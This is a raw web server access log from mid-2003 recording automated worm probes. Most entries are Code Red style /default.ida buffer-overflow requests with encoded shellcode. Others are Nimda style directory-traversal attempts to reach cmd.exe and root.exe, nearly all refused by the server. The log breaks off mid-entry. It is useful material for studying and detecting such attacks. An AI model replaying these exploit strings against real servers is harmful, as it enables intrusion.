210.21.34.66 - - [01/Jul/2003:14:33:10 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-tuileries-110-1-13.w193-248.abo.wanadoo.fr - - [01/Jul/2003:14:43:32 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-cayenne-104-3-142.w193-248.abo.wanadoo.fr - - [01/Jul/2003:15:01:21 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-montsouris-109-3-221.w193-248.abo.wanadoo.fr - - [02/Jul/2003:15:32:43 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 193.248.172.176 - - [07/Jul/2003:14:25:44 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 205 193.248.252.248 - - [08/Jul/2003:22:44:47 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 205 216.127.251.212 - - [08/Jul/2003:22:52:30 +0200] "SEARCH / HTTP/1.1" 200 2053 163.21.1.7 - - [10/Jul/2003:22:37:28 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 219.138.214.197 - - [10/Jul/2003:23:12:25 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-dijon-116-1-213.w193-250.abo.wanadoo.fr - - [26/Jun/2003:17:28:10 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-st-amand-107-3-126.w193-248.abo.wanadoo.fr - - [26/Jun/2003:22:21:42 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-st-amand-107-3-126.w193-248.abo.wanadoo.fr - - [26/Jun/2003:22:24:07 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-boulogne-105-2-34.w193-248.abo.wanadoo.fr - - [26/Jun/2003:23:01:22 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-boulogne-105-2-34.w193-248.abo.wanadoo.fr - - [26/Jun/2003:23:01:23 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-boulogne-105-2-34.w193-248.abo.wanadoo.fr - - [26/Jun/2003:23:01:24 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-boulogne-105-2-34.w193-248.abo.wanadoo.fr - - [26/Jun/2003:23:06:15 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 - 210.53.194.66 - - [24/Jun/2003:11:31:09 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-lyon-110-4-174.w193-248.abo.wanadoo.fr - - [23/Jun/2003:13:50:06 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-bordeaux-201-2-186.w193-248.abo.wanadoo.fr - - [23/Jun/2003:15:57:53 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 80.9.193.139 - - [23/Jun/2003:16:02:27 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 81.56.135.106 - - [23/Jun/2003:17:07:18 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 static24-72-25-205.reverse.accesscomm.ca - - [18/Jun/2003:22:13:31 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-rennes301-2-125.w193-250.abo.wanadoo.fr - - [18/Jun/2003:23:14:58 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 220.192.180.121 - - [17/Jun/2003:19:28:07 +0200] "GET x HTTP/1.0" 400 256 211.40.53.128 - - [16/Jun/2003:10:04:40 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 403 214 211.40.53.128 - - [16/Jun/2003:10:04:51 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 403 212 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:38 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 403 214 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:40 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 403 212 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:41 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 222 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:42 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 222 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:43 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 236 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:44 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 253 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:46 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 253 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:47 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 269 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:48 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 235 219.182.116.61 - - [16/Jun/2003:10:11:49 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:50 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 235 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:51 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 235 219.182.116.61 - - [16/Jun/2003:10:11:53 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 219.182.116.61 - - [16/Jun/2003:10:11:55 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:58 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 236 yahoobb219182116061.bbtec.net - - [16/Jun/2003:10:11:59 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 236 mix-boulogne-104-1-89.w193-250.abo.wanadoo.fr - - [16/Jun/2003:21:57:25 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-lille-106-2-174.w193-250.abo.wanadoo.fr - - [16/Jun/2003:22:33:52 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 193.95.81.2 - - [11/Jun/2003:21:43:41 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-lyon-301-1-77.w193-250.abo.wanadoo.fr - - [10/Jun/2003:16:35:31 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-clermont-f-103-2-178.w193-250.abo.wanadoo.fr - - [25/May/2003:17:20:53 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-nice-115-4-152.w193-250.abo.wanadoo.fr - - [25/May/2003:17:37:55 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-nice-109-1-78.w193-250.abo.wanadoo.fr - - [25/May/2003:17:39:05 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:07 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 403 214 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:12 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 403 212 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:13 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 222 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:14 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 222 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:15 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 236 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:16 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 253 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:17 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 253 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:19 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 269 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:20 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 235 193.250.205.146 - - [22/May/2003:12:55:22 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:24 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 235 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:26 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 235 193.250.205.146 - - [22/May/2003:12:55:31 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.250.205.146 - - [22/May/2003:12:55:34 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 mix-lille-106-1-146.w193-250.abo.wanadoo.fr - - [22/May/2003:12:55:37 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 236 mix-cayenne-104-2-15.w193-248.abo.wanadoo.fr - - [21/May/2003:16:44:43 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 193.220.178.101 - - [19/May/2003:21:05:07 +0200] "GET 